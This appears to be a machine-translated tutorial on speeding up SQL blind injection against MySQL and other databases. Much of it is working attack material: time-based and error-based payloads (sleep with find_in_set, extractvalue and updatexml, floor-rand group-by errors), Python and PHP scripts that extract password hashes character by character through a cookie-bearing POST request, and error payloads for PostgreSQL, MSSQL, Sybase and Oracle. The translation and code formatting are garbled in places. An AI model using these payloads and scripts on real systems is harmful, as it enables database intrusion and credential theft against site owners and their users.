Write in front:
This article mainly wrote some tips to speed up the blinds and the more elaborate statements in the blinds, although injecting is not a new technology. But database injection vulnerabilities continue to plague every security vendor and spur every security practitioner to move forward.
Body:
First of all, a brief introduction to the blind, blind is not through the direct display of the way to obtain database data. In the blinds, the attacker judges the information according to the difference in the page's return (which may be different from the page content or the response time). In general, blind bets can be divided into three categories.
Booleanbasetimebaseerrorbase
The first type of Boolean is the common blind that we are most often exposed to.
For example, you can construct or 1=1 in the where statement to make the return page different. (Here is a demo with MySQL, everyone experience is good)
Mysql> Select 123 from dual where 1=1;+-----+| 123 |+-----+| 123 |+-----+1 row in Set (0.00 sec) mysql> Select 123 from dual where 1=0; Empty Set (0.00 sec)
If the injection point is behind an order by, then a judgment statement can be used to construct the error. (In fact, the injection after the order by can also be judged according to the order of the returned results, where free play is good: P)
Mysql> Select 1 from Te order by if (0,3;+, select 1 Union select 2) Limit +| 1 |+---+| 1 | | 1 | | 1 |+---+3 rows in Set (0.00 sec) mysql> Select 1 from Te order by if (0,1, (select 1 Union select 2)) limit 0, 3; ERROR 1242 (21000): subquery returns more than 1 row
Time-based blinds, MySQL mainly involves two functions, sleep Banchmark is basically used as follows.
Mysql> Select 1 from te where if (1=1,sleep (1), 1) limit 0, 1; Empty Set (27.00 sec) mysql> Select 1 from te where if (1=2,sleep (1), 1) limit 0,1;+---+| 1 |+---+| 1 |+---+1 row in Set (0.00 sec)
Based on the error of the blind, the site needs to display the database error information, the following will be elaborated in detail.
Know how to judge Ture or false is to obtain data, of course, you can test every ASCII code, but it takes a lot of attempts, if your home happens to be a bad speed, then the pace will be very slow.
Take 32-bit hash For example, the words of brute force guess to 16*32=512 times (because the hash is generally 16 binary, only 16 possible). What if it's a 32-bit string that contains uppercase and lowercase letters and special characters? Probably need to 72*32=2304 times query, this is more. To reduce the number of blind queries, the following methods are generally used.
Word Frequency Statistics:
Based on the frequency of the letters appearing in English, this method is limited to a meaningful string such as user name and cannot be applied to an irregular string such as hash. and is limited to purely alphabetic guesses. Wikipedia has statistics on the frequency of use of letters.
So according to Word frequency statistics, E appears the highest probability, a second, then we first guess e, and then guess A. More recently, we can use the double-word word frequency to further improve efficiency, such as the probability that th will appear in English is very high. So after the first letter is T, our next character is the first to guess H.
PS. How efficient is this method? Can only say look at the face.
Binary search, bit operation method:
Put them both together because they're the same. It reduces the number of heuristic strings to log (n) *length (n is the number of possible characters).
First of all, the principle is to look at the possible characters as an ordered sequence, so that when looking for the element to be found, first compared with the elements in the middle of the sequence, if it is greater than this element, the second half of the current sequence will continue to find, if less than this element, in the first half of the current sequence to continue to find Until the same element is found, or the range of the sequence you are looking for is empty.
Use and return to determine a hash hash of a, only 4 queries (2^4=16), that is, to determine a 32-bit hash, only 126 requests, greatly reducing the number of queries.
Here is a binary lookup of the Pyhton source code
Import urllibimport urllib2def doinject (payload): url = ' Xxxxxxxxxxxxxxxxxxxxx ' values = {' injection ':p ayload, ' inject ': ' Inject '} data = urllib.urlencode (values) #print data req = urllib2. Request (Url, data) req.add_header (' Cookie ', ' xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ' ) response = urllib2.urlopen (req) the_page = response.read () if (The_page.find ("Welcome back") >0): return True else: return False wordlist = "0123456789ABCDEF" res = "" For i in range (1,33): s=0 t=15 while (S <t):If(T-S==1):IfDoinject(‘\‘OrSubstring(Password,' +str (i) + ', 1)=\‘‘+Wordlist[T]+‘\‘--Lanlan'): m=t break else: m=s break m= (s+t)/2 if doinject ('\' or substring (password, '+str(i) +', 1) >\ ' +wordlist[m]+ ' \ '--Lanlan '): s=m+1 print wordlist[s]+ ":" +wordlist[t] else:t=m print wordlist[s]+ ":" +wordlist[t ] res = res+wordlist[m] Print res
There are also PHP implementations that use regular expressions for binary lookups
$sUrl = ' xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx '; $sPost = ' inject=inject&injection= '; $ scharset = ' ABCDEF0123456789 '; /* for every character */for ($i = 0, $hash = "; $i <32; ++ $i) { $ch = $sCharset; do { $ch 1 = substr ($ch, 0, Intval (strlen ($ch)/2); $ch 2 = substr ($ch, intval (strlen ($ch)/2); $p = $sPost. ' Absolutelyimpossible\ ' or 1= (SELECT&NBSP;1&NBSP;FROM&NBSP;BLIght where password regexp \ ' ^ '. $hash. ' ['. $ch 1. '] \ ' and sessid=xxx) and \ ' 1\ ' =\ ' 1 '; $res = libhttp::P ost ($SURL, $p); if (Strpos ($res [' Content '], ' Your password is wrong ') === false) $ch = $ch 1; else $ch = $ch 2; } while (strlen ($ch) > 1); $hash .= $ch; echo "\rhash: ". $hash;}
PS: The above code is for 32-bit hash blind
The bitwise operation, it is the principle of each request to determine the binary one, for the continuous ASCII code interval time complexity is log (n) *length, so relative to the binary search, it is relatively limited application.
MySQL median operation is &, we mainly use it to make guesses, such as the ASCII code of A is 1100001, then we can use the 1,2,4,8,16 ... in turn with him to perform and operation, and finally get the result.
Mysql> Select Ord (' a ') & 1;+--------------+| Ord (' A ') & 1 |+--------------+| 1 |+--------------+1 row in Set (0.00 sec) mysql> Select Ord (' a ') & 2;+--------------+| Ord (' A ') & 2 |+--------------+| 0 |+--------------+1 row in Set (0.00 sec) mysql> Select Ord (' a ') & 4;+--------------+| Ord (' A ') & 4 |+--------------+| 0 |+--------------+1 row in Set (0.00 sec)
Time-Based blinds:
The above method obtains information by returning the different pages, so in theory each time, a maximum of one bits (true or false) can be determined. However, there is an important factor in the blinds that can help us get information, that is, the length of time the page is returned. With the following statement, we can determine the ASCII code of a character by one request. If it is a string of 32-bit hash, then only 32 requests, you can get the answer.
' or Sleep ' (Ord (substr (password,1,1)))--
The use of statements can generally be written like this
Mysql> Select Sleep (Find_in_set (Mid (@ @version, 1, 1), ' 0,1,2,3,4,5,6,7,8,9,. '); 1 row in Set (6.00 sec) mysql> Select Sleep (Find_in_set (Mid (@ @version, 2, 1), ' 0,1,2,3,4,5,6,7,8,9,. '); 1 row in Set (11.00 sec)
Recommended, sleep instead of using benchmark, because sleep does not occupy the CPU and is relatively stable.
A blind algorithm for 32-bit hash is given below.
import urllibimport urllib2import socketfrom time import Timesocket.setdefaulttimeout (1000000) def doinject (payload): url = ' Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ' values = {' injection ':p ayload, ' inject ': ' Inject '} data = urllib.urlencode (values) #print Data req = urllib2. Request (Url, data) req.add_header (' Cookie ', ' xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx ') start = time () response = urllib2.urlopen ( REQ) end = time () #print response.read () index = int (End-start) print ' index: ' + str (Index) print ' char: ' + wordlist[index-1] return indexwordlist = "0123456789ABCDEF" res = "" For i in range (1,34): num = doinject (' \ ' or sleep ( find_in_set (substring (password, ' +str (i ) + ', 1), \ ' 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f\ ') -- lanlan ') res = res+wordlist[num-1] print res
It's also important to note that sleep is counted multiple times in the where statement, and it needs to be handled in the actual application according to the number of records in the table.
Like a table with 2 records.
Select COUNT (*) from test; +----------+ | COUNT (*) | +----------+ | 2 | +----------+
If you query directly, because two records will raise a query, it will trigger two sleep () delay of 12 seconds
SELECT * FROM test where sleep (locate (Mid (@ @version, 1, 1), ' 0123456789. ')); Empty Set (12.00 sec)
This is preceded by a conditional statement, because the expression in front of and is not executed if it is false, so sleep executes once, with a delay of 6 seconds
SELECT * FROM test where a=1 and sleep (Locate (Mid (@ @version, 1, 1), ' 0123456789. ')); Empty Set (6.00 sec)
PS. This method is afraid of network instability.
Blind note based on Error:
If the page shows the data error message, then you can directly use the method of error to explode the information you want.
For example, in MySQL we can use the following classic statement to error.
Select, union SELECT COUNT (*), concat (version (), Floor (rand (0) *)) x from Information_schema.tables Group by X;
This is a widely circulated version of the Web, which can be simplified into the following form.
Select COUNT (*) from Information_schema.tables GROUP by concat (version (), Floor (rand (0)))
If the key table is disabled, you can use this form
Select COUNT (*) from (SELECT 1 Union SELECT NULL UNION SELECT! 1) Group by concat (version (), Floor (rand (0)))
If Rand is disabled, you can use the user variable to make an error
Select min (@a:=1) from Information_schema.tables Group by concat (password,@a:= (@a+1)%2)
In fact, this is a bug caused by MySQL, the other database will not be due to this problem error.
In addition, two new XML functions are added to the mysql5.1 version, which can also be used to make an error.
Mysql> SELECT * FROM article WHERE id = 1 and extractvalue (1, concat (0x5c, (select pass from admin limit 1)); Error 1105 (HY000): XPATH syntax error: ' \admin888 ' mysql> select * from article WHERE id = 1 and 1= (Updatexml (1,conca T (0x5e24, (select pass from admin limit 1), 0x5e24), 1)); Error 1105 (HY000): XPATH syntax error: ' ^ $admin 888^$ '
In other databases, you can use different methods to make an error.
PostgreSQL:/?param=1 and (1) =cast (version () as numeric)--MSSQL:/?param=1 and (1) =convert (int,@ @version)--Sybase:/? Param=1 and (1) =convert (int,@ @version)--Oracle >=9.0:/?param=1 and (1) = (select Upper (XMLType (Chr (60) | | Chr (58) | | Chr (58) | | (select Replace (BANNER,CHR), CHR) from sys.v_$version where rownum=1) | | CHR)) from dual)--
Advanced tips for SQL blind testing